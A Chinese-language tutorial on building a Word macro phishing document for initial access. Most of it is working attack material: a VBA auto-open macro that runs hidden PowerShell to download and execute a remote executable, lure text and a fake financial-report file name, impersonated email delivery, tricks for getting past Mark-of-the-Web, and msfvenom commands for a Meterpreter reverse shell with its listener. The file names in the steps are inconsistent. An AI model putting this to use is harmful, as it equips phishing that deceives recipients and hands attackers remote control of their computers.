Office宏病毒钓鱼-打点突破
Office宏钓鱼
[攻击路径] / [利用流程] - 详细步骤:制作一个简单的Word宏钓鱼文档
-
步骤一:规划恶意宏功能 (Payload Design)
- 目的: 决定宏执行后要达成的目标。为教学演示,我们设定一个简单的目标:弹出一个消息框,然后尝试从指定URL下载一个文件(真实攻击中会是恶意文件)。
- 关键技术/工具: VBA编程知识。
- 为何如此操作: 清晰的目标有助于编写简洁有效的宏代码。
-
步骤二:编写VBA宏代码
-
目的: 将规划好的功能用VBA语言实现。
-
操作:
VBA
' 自动在文档打开时执行的宏 Sub AutoOpen()MyMacroLogic End SubSub Document_Open()MyMacroLogic End SubFunction MyMacroLogic()MsgBox "正在解密文档内容,请稍候...", vbInformation, "系统提示"Dim strURL As StringDim strFilePath As StringDim shellApp As ObjectstrURL = "http://192.168.1.133/shell.exe"' 如果你使用了其他端口,例如8000,则URL应为 "http://192.168.1.133:8000/shell.exe"strFilePath = "C:\Users\Public\Downloads\shell.exe" ' 可以自定义保存路径和文件名' PowerShell命令Dim cmd As Stringcmd = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command " & _"""(New-Object System.Net.WebClient).DownloadFile('""" & strURL & """', '""" & strFilePath & """'); " & _"Start-Process '""" & strFilePath & """'"""' 使用WScript.Shell执行命令 (更隐蔽) 或 Shell 函数On Error Resume Next ' 忽略可能发生的错误,避免宏中断Set shellApp = CreateObject("WScript.Shell")shellApp.Run cmd, 0, False ' 0表示隐藏窗口,False表示不等待命令完成Set shellApp = NothingOn Error GoTo 0 ' 恢复错误处理' MsgBox "文档内容解密成功!文档内容已可查看,如果未能查看请重新下载重复步骤!!。", vbInformation, "系统提示" End Function
-
为何如此操作:
AutoOpen()
或Document_Open()
会在用户启用宏后自动执行。代码中包含了社工提示、文件下载和执行(通过PowerShell)的逻辑。使用WScript.Shell
的Run
方法并设置窗口隐藏可以增加隐蔽性。
-
-
步骤三:创建并嵌入宏到Office文档 (以Word为例)
- 目的: 将写好的VBA代码放入Word文档中。
- 操作:
- 打开Microsoft Word,创建一个新文档。
- 按下
Alt + F11
打开VBA编辑器。 - 在VBA编辑器的项目浏览器中,找到你的文档项目(通常名为
Project (Document1)
)。 - 右键点击
ThisDocument
(或在“插入”菜单选择“模块”来创建一个新模块,推荐后者以保持ThisDocument
干净),选择“插入” -> “模块”。 - 双击新创建的模块(如
Module1
)或者ThisDocument
,在右侧的代码窗口中粘贴上述VBA代码。 - 关闭VBA编辑器。
- 为何如此操作: 这是将宏代码与特定文档关联的标准方法。
-
步骤四:设计文档诱饵内容与保存
- 目的: 制作文档的表面内容,诱使用户启用宏。
- 操作:
- 在Word文档的可见区域,输入欺骗性文字,例如:
- 一张模糊的图片,上方写着:“文档受保护,请点击‘启用内容’查看高清版本。”
- 提示:“此文档由新版本Office创建,为确保兼容性并正确显示所有图表,请点击‘启用编辑’或‘启用内容’。”
- 模仿系统错误信息,暗示需要启用宏来修复。
- 保存文档:点击“文件” -> “另存为”。在“保存类型”中,选择 “Word启用宏的文档 (*.docm)”。如果用Excel,则选择 “Excel启用宏的工作簿 (*.xlsm)”。给文档取一个诱人的文件名,如
年度财务报告预览.docm
。
- 在Word文档的可见区域,输入欺骗性文字,例如:
- 为何如此操作: 文档内容是社会工程学的核心,文件名和保存类型直接影响宏能否被执行。
-
步骤五:投递文档
- 目的: 将制作好的带宏文档发送给目标。
- 操作: 通常通过电子邮件附件发送。邮件正文也需要配合进行社会工程学,如伪装成HR、财务、领导或合作伙伴发送的紧急/重要文件。
- 为何如此操作: 这是最常见的投递方式。
-
步骤六:受害者交互与宏执行 (模拟)
- 目的: 受害者打开文档并被诱导启用宏。
- 操作(受害者视角模拟):
- 受害者收到邮件,下载并打开
.docm
文件。 - Word显示安全警告:“宏已被禁用。” 以及你精心设计的诱饵内容。
- 如果社工成功,受害者点击“启用内容”。
- 此时,
AutoOpen()
或Document_Open()
中的VBA代码开始执行。
- 受害者收到邮件,下载并打开
- 为何如此操作: 用户的这个点击动作是宏能否执行的关键。
-
步骤七:验证宏执行结果 (在你的测试环境中)
- 目的: 确认宏是否按预期执行。
- 操作:
- 检查是否弹出了第一个消息框。
- 检查你的测试Web服务器是否有来自受害机的下载请求 (
payload.exe
)。 - 检查在受害机上
C:\Users\Public\Downloads\
目录下是否成功下载了downloaded_payload.exe
,并且该文件是否被尝试执行。 - 检查是否弹出了第二个消息框。
- 为何如此操作: 验证攻击流程的每一步是否成功。
重要:2025年宏安全现状与提醒
- 默认禁用(并有更多额外操作): 请务必记住,对于从互联网下载的Office文档(即带有Mark-of-the-Web标记的文件),现代Office版本(Microsoft 365 Apps for enterprise/business, Office LTSC 2021, Office 2021, Office 2019, Office 2016)会默认阻止VBA宏的运行,并且“启用内容”按钮的行为会改变,不再轻易允许用户启用。用户需要手动解除文件锁定(文件属性 -> 安全性 -> 解除锁定)或将文件放入“受信任位置”才能运行宏。
- 红队适应: 攻击者会尝试通过社工手段诱导用户执行这些额外步骤,或者将宏文档打包在加密的ZIP文件(密码在邮件中提供)或ISO/IMG镜像文件中,以期绕过MOTW标记或邮件网关的初步扫描。
- 内部威胁: 如果宏文档是在内网生成或被认为是来自“受信任来源”,则宏的执行限制可能会较宽松。
Office宏构建
Sub test()MsgBox ("TTTTTTTTT")
End Sub
打开文件自动执行
Sub Document_Open()test
End Sub
Sub AutoOpen()test
End Sub
Sub test()MsgBox ("TTTTTTT")
End Sub
MSF生成与监听
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=4444 -f exe > payload.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.133
set LPORT 4444
run